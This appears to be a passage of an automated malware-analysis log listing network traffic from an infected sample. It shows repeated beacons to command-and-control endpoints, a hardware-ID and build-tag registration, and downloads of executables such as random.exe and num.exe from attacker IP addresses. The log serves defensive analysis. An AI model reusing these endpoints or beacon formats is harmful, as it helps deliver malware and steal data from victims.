Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build"puma------GDBFCGIIIJDBGCBGIDGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001633001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001634001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="build"puma------AECFCAAECBGDGDHIEHJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001635001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001636001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="build"puma------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"puma------GIEHJDHCBAEHJJJKKFID--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
